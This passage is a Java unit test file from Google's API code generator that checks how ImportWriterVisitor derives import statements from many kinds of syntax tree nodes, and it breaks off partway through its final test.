text:
// Copyright 2020 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package com.google.api.generator.engine.writer;

import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assert.assertEquals;

import com.google.api.generator.engine.ast.AnnotationNode;
import com.google.api.generator.engine.ast.AnonymousClassExpr;
import com.google.api.generator.engine.ast.ArithmeticOperationExpr;
import com.google.api.generator.engine.ast.ArrayExpr;
import com.google.api.generator.engine.ast.AssignmentExpr;
import com.google.api.generator.engine.ast.BlockComment;
import com.google.api.generator.engine.ast.CommentStatement;
import com.google.api.generator.engine.ast.ConcreteReference;
import com.google.api.generator.engine.ast.EmptyLineStatement;
import com.google.api.generator.engine.ast.EnumRefExpr;
import com.google.api.generator.engine.ast.Expr;
import com.google.api.generator.engine.ast.ExprStatement;
import com.google.api.generator.engine.ast.IfStatement;
import com.google.api.generator.engine.ast.InstanceofExpr;
import com.google.api.generator.engine.ast.JavaDocComment;
import com.google.api.generator.engine.ast.LambdaExpr;
import com.google.api.generator.engine.ast.LogicalOperationExpr;
import com.google.api.generator.engine.ast.MethodDefinition;
import com.google.api.generator.engine.ast.MethodInvocationExpr;
import com.google.api.generator.engine.ast.NewObjectExpr;
import com.google.api.generator.engine.ast.PackageInfoDefinition;
import com.google.api.generator.engine.ast.Reference;
import com.google.api.generator.engine.ast.ReferenceConstructorExpr;
import com.google.api.generator.engine.ast.RelationalOperationExpr;
import com.google.api.generator.engine.ast.ReturnExpr;
import com.google.api.generator.engine.ast.ScopeNode;
import com.google.api.generator.engine.ast.Statement;
import com.google.api.generator.engine.ast.SuperObjectValue;
import com.google.api.generator.engine.ast.SynchronizedStatement;
import com.google.api.generator.engine.ast.TernaryExpr;
import com.google.api.generator.engine.ast.ThisObjectValue;
import com.google.api.generator.engine.ast.ThrowExpr;
import com.google.api.generator.engine.ast.TypeNode;
import com.google.api.generator.engine.ast.UnaryOperationExpr;
import com.google.api.generator.engine.ast.ValueExpr;
import com.google.api.generator.engine.ast.VaporReference;
import com.google.api.generator.engine.ast.Variable;
import com.google.api.generator.engine.ast.VariableExpr;
import com.google.api.generator.testutils.LineFormatter;
import com.google.common.base.Function;
import com.google.common.base.Strings;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.stream.LongStream;
import javax.annotation.Generated;
import org.junit.Before;
import org.junit.Test;

public class ImportWriterVisitorTest {
  private static final String CURRENT_PACKAGE = "com.google.api.generator.engine.foobar";
  private static final String CURRENT_CLASS = "SomeClass";
  private ImportWriterVisitor writerVisitor;

  @Before
  public void setUp() {
    writerVisitor = new ImportWriterVisitor();
    writerVisitor.initialize(CURRENT_PACKAGE, CURRENT_CLASS);
  }

  @Test
  public void writeReferenceTypeImports_basic() {
    TypeNode.withReference(ConcreteReference.withClazz(List.class)).accept(writerVisitor);
    assertEquals("import java.util.List;\n\n", writerVisitor.write());

    writerVisitor.clear();
    TypeNode.withReference(
            VaporReference.builder().setName("FooBar").setPakkage("com.foo.bar").build())
        .accept(writerVisitor);
    assertEquals("import com.foo.bar.FooBar;\n\n", writerVisitor.write());
  }

  @Test
  public void writeReferenceTypeImports_useFullName() {
    TypeNode.withReference(
            ConcreteReference.builder().setClazz(List.class).setUseFullName(true).build())
        .accept(writerVisitor);
    assertEquals("", writerVisitor.write());

    writerVisitor.clear();
    TypeNode.withReference(
            VaporReference.builder()
                .setName("FooBar")
                .setPakkage("com.foo.bar")
                .setUseFullName(true)
                .build())
        .accept(writerVisitor);
    assertEquals("", writerVisitor.write());
  }

  @Test
  public void writeNewObjectExprImports_basic() {
    // [Constructing] `new ArrayList<>()`
    NewObjectExpr newObjectExpr =
        NewObjectExpr.builder()
            .setIsGeneric(true)
            .setType(TypeNode.withReference(ConcreteReference.withClazz(ArrayList.class)))
            .build();
    newObjectExpr.accept(writerVisitor);
    assertEquals("import java.util.ArrayList;\n\n", writerVisitor.write());
  }

  @Test
  public void writeNewObjectExprImports_withArgs() {
    // [Constructing] `new FileOutputStream(File file)` and the argument needs to be imported.
    ConcreteReference fileOutputStreamRef = ConcreteReference.withClazz(FileOutputStream.class);
    ConcreteReference fileRef = ConcreteReference.withClazz(File.class);
    Variable fileVar =
        Variable.builder().setName("file").setType(TypeNode.withReference(fileRef)).build();
    VariableExpr fileExpr = VariableExpr.builder().setVariable(fileVar).build();
    NewObjectExpr newObjectExpr =
        NewObjectExpr.builder()
            .setType(TypeNode.withReference(fileOutputStreamRef))
            .setArguments(Arrays.asList(fileExpr))
            .build();
    newObjectExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines("import java.io.File;\n", "import java.io.FileOutputStream;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeNewObjectExprImports_genericsAndVariableArgs() {
    // [Constructing] `new HashMap<List<String>, Integer>>(int initialCapacity, float loadFactor)`
    ConcreteReference listRef =
        ConcreteReference.builder()
            .setClazz(List.class)
            .setGenerics(Arrays.asList(ConcreteReference.withClazz(String.class)))
            .build();
    ConcreteReference mapRef =
        ConcreteReference.builder()
            .setClazz(HashMap.class)
            .setGenerics(Arrays.asList(listRef, ConcreteReference.withClazz(Integer.class)))
            .build();
    TypeNode type = TypeNode.withReference(mapRef);
    Variable initialCapacity =
        Variable.builder().setName("initialCapacity").setType(TypeNode.INT).build();
    VariableExpr initCapacityExpr = VariableExpr.builder().setVariable(initialCapacity).build();
    Variable loadFactor = Variable.builder().setName("loadFactor").setType(TypeNode.FLOAT).build();
    VariableExpr loadFactorExpr = VariableExpr.builder().setVariable(loadFactor).build();

    NewObjectExpr newObjectExpr =
        NewObjectExpr.builder()
            .setIsGeneric(true)
            .setType(type)
            .setArguments(Arrays.asList(initCapacityExpr, loadFactorExpr))
            .build();
    newObjectExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines("import java.util.HashMap;\n", "import java.util.List;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeNewObjectExprImports_methodExprArg() {
    // [Constructing] `new IOException(message, cause(mapArg))` and `cause(mapArg)` is a method
    // invocation with a `HashMap` argument.
    TypeNode exceptionType = TypeNode.withReference(ConcreteReference.withClazz(IOException.class));
    Variable message = Variable.builder().setName("message").setType(TypeNode.STRING).build();
    TypeNode mapType = TypeNode.withReference(ConcreteReference.withClazz(HashMap.class));
    VariableExpr mapExpr =
        VariableExpr.builder()
            .setVariable(Variable.builder().setName("mapArg").setType(mapType).build())
            .build();
    VariableExpr msgExpr = VariableExpr.builder().setVariable(message).build();
    MethodInvocationExpr causeExpr =
        MethodInvocationExpr.builder()
            .setMethodName("cause")
            .setArguments(Arrays.asList(mapExpr))
            .setReturnType(TypeNode.withReference(ConcreteReference.withClazz(Throwable.class)))
            .build();
    NewObjectExpr newObjectExpr =
        NewObjectExpr.builder()
            .setType(exceptionType)
            .setArguments(Arrays.asList(msgExpr, causeExpr))
            .build();
    newObjectExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines("import java.io.IOException;\n", "import java.util.HashMap;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeTernaryExprImports() {
    MethodInvocationExpr conditionExpr =
        MethodInvocationExpr.builder()
            .setStaticReferenceType(TypeNode.withReference(ConcreteReference.withClazz(Expr.class)))
            .setMethodName("isExpr")
            .setReturnType(TypeNode.BOOLEAN)
            .build();
    MethodInvocationExpr thenExpr =
        MethodInvocationExpr.builder()
            .setStaticReferenceType(
                TypeNode.withReference(ConcreteReference.withClazz(Strings.class)))
            .setMethodName("isNullOrEmpty")
            .setReturnType(TypeNode.BOOLEAN)
            .build();
    MethodInvocationExpr elseExpr =
        MethodInvocationExpr.builder()
            .setStaticReferenceType(
                TypeNode.withReference(ConcreteReference.withClazz(TypeNode.class)))
            .setMethodName("isPrimitiveType")
            .setReturnType(TypeNode.BOOLEAN)
            .build();

    TernaryExpr ternaryExpr =
        TernaryExpr.builder()
            .setConditionExpr(conditionExpr)
            .setThenExpr(thenExpr)
            .setElseExpr(elseExpr)
            .build();
    ternaryExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.Expr;\n",
            "import com.google.api.generator.engine.ast.TypeNode;\n",
            "import com.google.common.base.Strings;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeVariableExprImports_staticReference() {
    VariableExpr variableExpr =
        VariableExpr.builder()
            .setVariable(
                Variable.builder()
                    .setType(
                        TypeNode.withReference(ConcreteReference.withClazz(AssignmentExpr.class)))
                    .setName("AN_ASSIGN_EXPR")
                    .build())
            .setStaticReferenceType(
                TypeNode.withReference(ConcreteReference.withClazz(TypeNode.class)))
            .build();

    variableExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.AssignmentExpr;\n",
            "import com.google.api.generator.engine.ast.TypeNode;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeVariableExprImports_wildcardType() {
    TypeNode wildcardListType =
        TypeNode.withReference(
            ConcreteReference.builder()
                .setClazz(List.class)
                .setGenerics(Arrays.asList(TypeNode.WILDCARD_REFERENCE))
                .build());

    // Constructs `List<?> x`.
    Variable variable = Variable.builder().setName("x").setType(wildcardListType).build();
    VariableExpr variableExpr =
        VariableExpr.builder().setIsDecl(true).setVariable(variable).build();

    variableExpr.accept(writerVisitor);
    assertEquals("import java.util.List;\n\n", writerVisitor.write());
  }

  @Test
  public void writeVariableExprImport_wildcardTypeWithUpperBound() {
    TypeNode wildcardListType =
        TypeNode.withReference(
            ConcreteReference.builder()
                .setClazz(List.class)
                .setGenerics(
                    Arrays.asList(
                        ConcreteReference.wildcardWithUpperBound(
                            ConcreteReference.withClazz(Expr.class))))
                .build());

    // Constructs `List<? extends Expr> x`.
    Variable variable = Variable.builder().setName("x").setType(wildcardListType).build();
    VariableExpr variableExpr =
        VariableExpr.builder().setIsDecl(true).setVariable(variable).build();

    variableExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.Expr;\n", "import java.util.List;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeVariableExprImports_reference() {
    Variable variable =
        Variable.builder()
            .setName("expr")
            .setType(TypeNode.withReference(ConcreteReference.withClazz(Expr.class)))
            .build();
    VariableExpr variableExpr = VariableExpr.builder().setVariable(variable).build();

    Variable subVariable =
        Variable.builder()
            .setName("assignExpr")
            .setType(TypeNode.withReference(ConcreteReference.withClazz(AssignmentExpr.class)))
            .build();
    variableExpr =
        VariableExpr.builder().setVariable(subVariable).setExprReferenceExpr(variableExpr).build();
    variableExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.AssignmentExpr;\n",
            "import com.google.api.generator.engine.ast.Expr;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeVariableExprImports_nestedReference() {
    Variable variable =
        Variable.builder()
            .setName("expr")
            .setType(TypeNode.withReference(ConcreteReference.withClazz(Expr.class)))
            .build();
    VariableExpr variableExpr = VariableExpr.builder().setVariable(variable).build();

    Variable subVariable =
        Variable.builder()
            .setName("assignExpr")
            .setType(TypeNode.withReference(ConcreteReference.withClazz(AssignmentExpr.class)))
            .build();
    variableExpr =
        VariableExpr.builder().setVariable(subVariable).setExprReferenceExpr(variableExpr).build();
    subVariable =
        Variable.builder()
            .setName("anotherExpr")
            .setType(TypeNode.withReference(ConcreteReference.withClazz(VariableExpr.class)))
            .build();
    variableExpr =
        VariableExpr.builder().setVariable(subVariable).setExprReferenceExpr(variableExpr).build();

    variableExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.AssignmentExpr;\n",
            "import com.google.api.generator.engine.ast.Expr;\n",
            "import com.google.api.generator.engine.ast.VariableExpr;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeVariableExprImports_withAnnotations() {
    Variable variable =
        Variable.builder()
            .setName("expr")
            .setType(TypeNode.withReference(ConcreteReference.withClazz(Expr.class)))
            .build();

    VariableExpr variableExpr =
        VariableExpr.builder()
            .setVariable(variable)
            .setIsDecl(true)
            .setAnnotations(
                Arrays.asList(
                    AnnotationNode.withType(
                        TypeNode.withReference(ConcreteReference.withClazz(Generated.class)))))
            .build();

    variableExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.Expr;\n",
            "import javax.annotation.Generated;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeAnonymousClassExprImports() {
    // [Constructing] Function<List<IOException>, MethodDefinition>
    ConcreteReference exceptionListRef =
        ConcreteReference.builder()
            .setClazz(List.class)
            .setGenerics(Arrays.asList(ConcreteReference.withClazz(IOException.class)))
            .build();
    ConcreteReference methodDefinitionRef = ConcreteReference.withClazz(MethodDefinition.class);
    ConcreteReference ref =
        ConcreteReference.builder()
            .setClazz(Function.class)
            .setGenerics(Arrays.asList(exceptionListRef, methodDefinitionRef))
            .build();
    TypeNode type = TypeNode.withReference(ref);
    // [Constructing] HashMap<String, Integer> map;
    ConcreteReference mapRef =
        ConcreteReference.builder()
            .setClazz(HashMap.class)
            .setGenerics(
                Arrays.asList(
                    ConcreteReference.withClazz(String.class),
                    ConcreteReference.withClazz(Integer.class)))
            .build();
    VariableExpr mapExpr =
        VariableExpr.builder()
            .setVariable(
                Variable.builder().setName("map").setType(TypeNode.withReference(mapRef)).build())
            .setIsDecl(true)
            .build();
    ExprStatement exprStatement = ExprStatement.withExpr(mapExpr);
    // [Constructing] an input argument whose type is `List<IOException>`
    VariableExpr arg =
        VariableExpr.builder()
            .setVariable(
                Variable.builder()
                    .setName("arg")
                    .setType(TypeNode.withReference(exceptionListRef))
                    .build())
            .setIsDecl(true)
            .build();
    // [Constructing] a return variable expression whose type is `MethodDefinition`
    VariableExpr returnArg =
        VariableExpr.builder()
            .setVariable(
                Variable.builder()
                    .setName("returnArg")
                    .setType(TypeNode.withReference(methodDefinitionRef))
                    .build())
            .build();
    MethodDefinition method =
        MethodDefinition.builder()
            .setScope(ScopeNode.PUBLIC)
            .setReturnType(TypeNode.withReference(methodDefinitionRef))
            .setArguments(Arrays.asList(arg))
            .setReturnExpr(returnArg)
            .setName("apply")
            .build();
    AnonymousClassExpr anonymousClassExpr =
        AnonymousClassExpr.builder()
            .setType(type)
            .setMethods(Arrays.asList(method))
            .setStatements(Arrays.asList(exprStatement))
            .build();
    anonymousClassExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.MethodDefinition;\n",
            "import com.google.common.base.Function;\n",
            "import java.io.IOException;\n",
            "import java.util.HashMap;\n",
            "import java.util.List;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeThrowExprImports_basic() {
    TypeNode exceptionTypes =
        TypeNode.withReference(ConcreteReference.withClazz(IOException.class));
    String message = "Some message asdf";
    ThrowExpr throwExpr =
        ThrowExpr.builder().setType(exceptionTypes).setMessageExpr(message).build();
    throwExpr.accept(writerVisitor);
    assertEquals("import java.io.IOException;\n\n", writerVisitor.write());
  }

  @Test
  public void writeThrowExprImports_throwExpr() {
    Expr exprToThrow =
        MethodInvocationExpr.builder()
            .setStaticReferenceType(
                TypeNode.withReference(ConcreteReference.withClazz(Statement.class)))
            .setMethodName("createException")
            .setReturnType(TypeNode.withExceptionClazz(Exception.class))
            .build();

    TypeNode ignoredExceptionType =
        TypeNode.withReference(ConcreteReference.withClazz(IOException.class));
    ThrowExpr throwExpr =
        ThrowExpr.builder().setType(ignoredExceptionType).setThrowExpr(exprToThrow).build();
    throwExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines("import com.google.api.generator.engine.ast.Statement;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeThrowExprImports_messageExpr() {
    TypeNode npeType = TypeNode.withExceptionClazz(NullPointerException.class);
    Expr messageExpr =
        MethodInvocationExpr.builder()
            .setStaticReferenceType(
                TypeNode.withReference(ConcreteReference.withClazz(IfStatement.class)))
            .setMethodName("conditionExpr")
            .setReturnType(TypeNode.withReference(ConcreteReference.withClazz(Expr.class)))
            .build();

    messageExpr =
        MethodInvocationExpr.builder()
            .setExprReferenceExpr(messageExpr)
            .setMethodName("foobar")
            .setReturnType(TypeNode.STRING)
            .build();
    ThrowExpr throwExpr = ThrowExpr.builder().setType(npeType).setMessageExpr(messageExpr).build();

    throwExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.Expr;\n",
            "import com.google.api.generator.engine.ast.IfStatement;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeThrowExprImports_messageAndCauseExpr() {
    TypeNode npeType = TypeNode.withExceptionClazz(NullPointerException.class);
    Expr messageExpr =
        MethodInvocationExpr.builder()
            .setStaticReferenceType(
                TypeNode.withReference(ConcreteReference.withClazz(IfStatement.class)))
            .setMethodName("conditionExpr")
            .setReturnType(TypeNode.withReference(ConcreteReference.withClazz(Expr.class)))
            .build();

    messageExpr =
        MethodInvocationExpr.builder()
            .setExprReferenceExpr(messageExpr)
            .setMethodName("foobar")
            .setReturnType(TypeNode.STRING)
            .build();
    ThrowExpr throwExpr =
        ThrowExpr.builder()
            .setType(npeType)
            .setMessageExpr(messageExpr)
            .setCauseExpr(
                NewObjectExpr.builder()
                    .setType(TypeNode.withExceptionClazz(FileNotFoundException.class))
                    .build())
            .build();

    throwExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.Expr;\n",
            "import com.google.api.generator.engine.ast.IfStatement;\n",
            "import java.io.FileNotFoundException;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeInstanceofExprImports_basic() {
    TypeNode exprType = TypeNode.withReference(ConcreteReference.withClazz(Expr.class));
    TypeNode assignExprType =
        TypeNode.withReference(ConcreteReference.withClazz(AssignmentExpr.class));

    Variable variable = Variable.builder().setName("x").setType(assignExprType).build();
    VariableExpr variableExpr = VariableExpr.builder().setVariable(variable).build();

    InstanceofExpr expr =
        InstanceofExpr.builder().setExpr(variableExpr).setCheckType(exprType).build();
    expr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.AssignmentExpr;\n",
            "import com.google.api.generator.engine.ast.Expr;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeEnumRefExprImports_basic() {
    TypeNode enumType =
        TypeNode.withReference(
            ConcreteReference.builder()
                .setClazz(TypeNode.TypeKind.class)
                .setIsStaticImport(true)
                .build());
    EnumRefExpr enumRefExpr = EnumRefExpr.builder().setName("VOID").setType(enumType).build();

    enumRefExpr.accept(writerVisitor);
    assertEquals(
        "import static com.google.api.generator.engine.ast.TypeNode.TypeKind;\n\n",
        writerVisitor.write());
  }

  @Test
  public void writeEnumRefExprImports_nested() {
    TypeNode enumType =
        TypeNode.withReference(ConcreteReference.withClazz(TypeNode.TypeKind.class));
    EnumRefExpr enumRefExpr = EnumRefExpr.builder().setName("VOID").setType(enumType).build();
    enumRefExpr.accept(writerVisitor);
    assertEquals("import com.google.api.generator.engine.ast.TypeNode;\n\n", writerVisitor.write());
  }

  @Test
  public void writeReturnExprImports_basic() {
    ReturnExpr returnExpr =
        ReturnExpr.withExpr(
            MethodInvocationExpr.builder()
                .setMethodName("createExpr")
                .setReturnType(TypeNode.withReference(ConcreteReference.withClazz(Expr.class)))
                .build());
    returnExpr.accept(writerVisitor);
    assertEquals("import com.google.api.generator.engine.ast.Expr;\n\n", writerVisitor.write());
  }

  @Test
  public void writeMethodDefinitionImports_templatedMixedNamesAndTypes() {
    Reference mapRef = ConcreteReference.withClazz(Map.class);
    List<VariableExpr> arguments =
        Arrays.asList(
            VariableExpr.builder()
                .setVariable(createVariable("x", TypeNode.withReference(mapRef)))
                .setIsDecl(true)
                .setTemplateObjects(
                    Arrays.asList(
                        "K",
                        TypeNode.withReference(ConcreteReference.withClazz(AssignmentExpr.class))))
                .build(),
            VariableExpr.builder()
                .setVariable(createVariable("y", TypeNode.withReference(mapRef)))
                .setIsDecl(true)
                .setTemplateObjects(Arrays.asList("T", "V"))
                .build());

    TypeNode returnType = TypeNode.withReference(mapRef);
    MethodDefinition methodDefinition =
        MethodDefinition.builder()
            .setName("close")
            .setScope(ScopeNode.PUBLIC)
            .setReturnType(returnType)
            .setTemplateNames(Arrays.asList("T", "K", "V"))
            .setReturnTemplateNames(Arrays.asList("K", "V"))
            .setArguments(arguments)
            .setReturnExpr(
                MethodInvocationExpr.builder()
                    .setMethodName("foobar")
                    .setReturnType(returnType)
                    .build())
            .build();
    methodDefinition.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.AssignmentExpr;\n",
            "import java.util.Map;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeReferenceConstructorExprImports_basic() {
    VaporReference ref =
        VaporReference.builder().setName("Parent").setPakkage("com.google.example.v1").build();
    TypeNode classType = TypeNode.withReference(ref);
    ReferenceConstructorExpr referenceConstructorExpr =
        ReferenceConstructorExpr.superBuilder().setType(classType).build();
    referenceConstructorExpr.accept(writerVisitor);
    assertEquals("import com.google.example.v1.Parent;\n\n", writerVisitor.write());
  }

  @Test
  public void writeReferenceConstructorExprImports_withArgs() {
    VaporReference ref =
        VaporReference.builder().setName("Student").setPakkage("com.google.example.v1").build();
    TypeNode classType = TypeNode.withReference(ref);
    VariableExpr streamVarExpr =
        VariableExpr.builder()
            .setVariable(
                createVariable(
                    "stream",
                    TypeNode.withReference(ConcreteReference.withClazz(LongStream.class))))
            .build();
    ReferenceConstructorExpr referenceConstructorExpr =
        ReferenceConstructorExpr.thisBuilder()
            .setArguments(Arrays.asList(streamVarExpr))
            .setType(classType)
            .build();
    referenceConstructorExpr.accept(writerVisitor);
  }

  @Test
  public void writeArithmeticOperationExprImports() {
    MethodInvocationExpr lhsExpr =
        MethodInvocationExpr.builder()
            .setStaticReferenceType(TypeNode.withReference(ConcreteReference.withClazz(Expr.class)))
            .setMethodName("getSomething")
            .setReturnType(TypeNode.STRING)
            .build();
    ValueExpr rhsExpr = ValueExpr.createNullExpr();
    ArithmeticOperationExpr arithmeticOperationExpr =
        ArithmeticOperationExpr.concatWithExprs(lhsExpr, rhsExpr);
    arithmeticOperationExpr.accept(writerVisitor);
    assertEquals("import com.google.api.generator.engine.ast.Expr;\n\n", writerVisitor.write());
  }

  @Test
  public void writeSynchronizedStatementImports_basicThis() {
    SynchronizedStatement synchronizedStatement =
        SynchronizedStatement.builder()
            .setLock(
                ThisObjectValue.withType(
                    TypeNode.withReference(ConcreteReference.withClazz(Expr.class))))
            .setBody(
                ExprStatement.withExpr(
                    MethodInvocationExpr.builder()
                        .setMethodName("doStuff")
                        .setReturnType(
                            TypeNode.withReference(ConcreteReference.withClazz(Arrays.class)))
                        .build()))
            .build();
    synchronizedStatement.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.Expr;\n", "import java.util.Arrays;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeSuperObjectValueImports() {
    VaporReference ref =
        VaporReference.builder()
            .setName("Student")
            .setPakkage("com.google.example.examples.v1")
            .build();
    TypeNode typeNode = TypeNode.withReference(ref);
    SuperObjectValue superObjectValue = SuperObjectValue.withType(typeNode);
    MethodInvocationExpr methodExpr =
        MethodInvocationExpr.builder()
            .setMethodName("getName")
            .setExprReferenceExpr(ValueExpr.withValue(superObjectValue))
            .setReturnType(TypeNode.STRING)
            .build();
    methodExpr.accept(writerVisitor);
    assertEquals("import com.google.example.examples.v1.Student;\n\n", writerVisitor.write());
  }

  @Test
  public void writeSynchronizedStatementImports_basicVariableExpr() {
    VariableExpr strVarExpr =
        VariableExpr.withVariable(
            Variable.builder()
                .setName("str")
                .setType(TypeNode.withReference(ConcreteReference.withClazz(AssignmentExpr.class)))
                .build());

    SynchronizedStatement synchronizedStatement =
        SynchronizedStatement.builder()
            .setLock(strVarExpr)
            .setBody(
                ExprStatement.withExpr(
                    MethodInvocationExpr.builder()
                        .setMethodName("doStuff")
                        .setReturnType(
                            TypeNode.withReference(ConcreteReference.withClazz(Map.class)))
                        .build()))
            .build();
    synchronizedStatement.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.AssignmentExpr;\n",
            "import java.util.Map;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeUnaryOperationExprImports_LogicalNot() {
    MethodInvocationExpr expr =
        MethodInvocationExpr.builder()
            .setStaticReferenceType(TypeNode.withReference(ConcreteReference.withClazz(Expr.class)))
            .setMethodName("isEmpty")
            .setReturnType(TypeNode.BOOLEAN)
            .build();
    UnaryOperationExpr unaryOperationExpr = UnaryOperationExpr.logicalNotWithExpr(expr);
    unaryOperationExpr.accept(writerVisitor);
    assertEquals("import com.google.api.generator.engine.ast.Expr;\n\n", writerVisitor.write());
  }

  @Test
  public void writeUnaryOperationExprImports_PostIncrement() {
    MethodInvocationExpr expr =
        MethodInvocationExpr.builder()
            .setStaticReferenceType(TypeNode.withReference(ConcreteReference.withClazz(Expr.class)))
            .setMethodName("getNumber")
            .setReturnType(TypeNode.INT)
            .build();
    UnaryOperationExpr unaryOperationExpr = UnaryOperationExpr.postfixIncrementWithExpr(expr);
    unaryOperationExpr.accept(writerVisitor);
    assertEquals("import com.google.api.generator.engine.ast.Expr;\n\n", writerVisitor.write());
  }

  @Test
  public void writeRelationalOperationExprImports() {
    MethodInvocationExpr lhsExpr =
        MethodInvocationExpr.builder()
            .setStaticReferenceType(TypeNode.withReference(ConcreteReference.withClazz(Expr.class)))
            .setMethodName("getSomething")
            .setReturnType(TypeNode.STRING)
            .build();
    TypeNode someType =
        TypeNode.withReference(
            VaporReference.builder()
                .setName("SomeClass")
                .setPakkage("com.google.api.generator.engine")
                .build());
    MethodInvocationExpr rhsExpr =
        MethodInvocationExpr.builder()
            .setMethodName("getName")
            .setStaticReferenceType(someType)
            .setReturnType(TypeNode.STRING)
            .build();
    RelationalOperationExpr relationalOperationExpr =
        RelationalOperationExpr.equalToWithExprs(lhsExpr, rhsExpr);
    relationalOperationExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.SomeClass;\n",
            "import com.google.api.generator.engine.ast.Expr;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void writeLogicalOperationExprImports() {
    MethodInvocationExpr lhsExpr =
        MethodInvocationExpr.builder()
            .setStaticReferenceType(
                TypeNode.withReference(ConcreteReference.withClazz(UnaryOperationExpr.class)))
            .setMethodName("isValid")
            .setReturnType(TypeNode.BOOLEAN)
            .build();
    VariableExpr rhsExpr =
        VariableExpr.builder().setVariable(createVariable("isGood", TypeNode.BOOLEAN)).build();
    LogicalOperationExpr logicalOperationExpr =
        LogicalOperationExpr.logicalAndWithExprs(lhsExpr, rhsExpr);
    logicalOperationExpr.accept(writerVisitor);
    assertEquals(
        "import com.google.api.generator.engine.ast.UnaryOperationExpr;\n\n",
        writerVisitor.write());
  }

  @Test
  public void writeEmptyLineStatementImports() {
    EmptyLineStatement statement = EmptyLineStatement.create();
    statement.accept(writerVisitor);
    assertThat(writerVisitor.write()).isEmpty();
  }

  @Test
  public void writePackageInfoDefinitionImports() {
    PackageInfoDefinition packageInfo =
        PackageInfoDefinition.builder()
            .setPakkage("com.google.example.library.v1")
            .setAnnotations(
                AnnotationNode.withType(
                    TypeNode.withReference(ConcreteReference.withClazz(Generated.class))))
            .setFileHeader(
                CommentStatement.withComment(
                    BlockComment.withComment("Lorum ipsum dolor sit amet")))
            .setHeaderCommentStatements(
                CommentStatement.withComment(
                    JavaDocComment.withComment("Consecteteur adipisping elit")))
            .build();

    packageInfo.accept(writerVisitor);
    assertEquals("import javax.annotation.Generated;\n\n", writerVisitor.write());
  }

  @Test
  public void writeLambdaExprImports() {
    // Similar to method defnitions.
    Reference mapRef = ConcreteReference.withClazz(Map.class);
    List<VariableExpr> arguments =
        Arrays.asList(
            VariableExpr.builder()
                .setVariable(createVariable("x", TypeNode.withReference(mapRef)))
                .setIsDecl(true)
                .setTemplateObjects(
                    Arrays.asList(
                        "K",
                        TypeNode.withReference(ConcreteReference.withClazz(AssignmentExpr.class))))
                .build(),
            VariableExpr.builder()
                .setVariable(createVariable("y", TypeNode.withReference(mapRef)))
                .setIsDecl(true)
                .setTemplateObjects(Arrays.asList("T", "V"))
                .build());
    Statement bodyStatement =
        ExprStatement.withExpr(
            MethodInvocationExpr.builder()
                .setMethodName("doStuff")
                .setReturnType(TypeNode.withReference(ConcreteReference.withClazz(Arrays.class)))
                .build());
    TypeNode returnType = TypeNode.withReference(ConcreteReference.withClazz(Expr.class));
    LambdaExpr lambdaExpr =
        LambdaExpr.builder()
            .setArguments(arguments)
            .setBody(Arrays.asList(bodyStatement))
            .setReturnExpr(
                MethodInvocationExpr.builder()
                    .setMethodName("foobar")
                    .setReturnType(returnType)
                    .build())
            .build();
    lambdaExpr.accept(writerVisitor);
    assertEquals(
        LineFormatter.lines(
            "import com.google.api.generator.engine.ast.AssignmentExpr;\n",
            "import com.google.api.generator.engine.ast.Expr;\n",
            "import java.util.Arrays;\n",
            "import java.util.Map;\n\n"),
        writerVisitor.write());
  }

  @Test
  public void importArrayExprTypes() {
    ArrayExpr arrayExpr =
